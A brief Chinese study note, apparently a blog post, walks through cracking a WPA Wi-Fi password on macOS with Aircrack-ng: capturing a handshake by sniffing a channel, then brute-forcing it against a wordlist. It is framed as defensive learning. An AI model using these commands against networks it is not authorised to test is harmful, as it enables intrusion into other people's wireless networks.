【笔记】Aircrack-ng学习笔记
前言
通过Aircrack-ng破解Wifi密码
本文仅用于网络信息防御学习
准备工作
MacOS
Airport添加到环境变量
安装
安装aircrack-ng
1 | brew install aircrack-ng |
安装或更新OUI文件
1 | sudo airodump-ng-oui-update |
破解Wifi密码
查看信道
- 通过查看Wifi列表,记录信道
1 | airport -s |
开启监听
- 开启网卡监听模式抓握手包
- 监听一段时间之后,
ctrl+c
退出监听模式,此时会生成缓存文件
<num>
:信道
1 | airport en0 sniff <num> |
查看是否抓包成功
通过分析缓存,查看是否抓包成功,出现
WPA(1 handshake)
即为抓包成功如果不成功,重新进行抓包
<name>.cap
:生成的缓存
1 | sudo aircrack-ng /tmp/<name>.cap |
暴力破解
- 通过字典对比,进行暴力破解Wifi密码
-w <dict>.txt
:指定字典-b <mac>
:需要破解的Wifi的MAC地址
1 | sudo aircrack-ng -w <dict>.txt -b <mac> /tmp/<name>.cap |
完成
- MacOS上退出监听模式会自动回到Wifi连接模式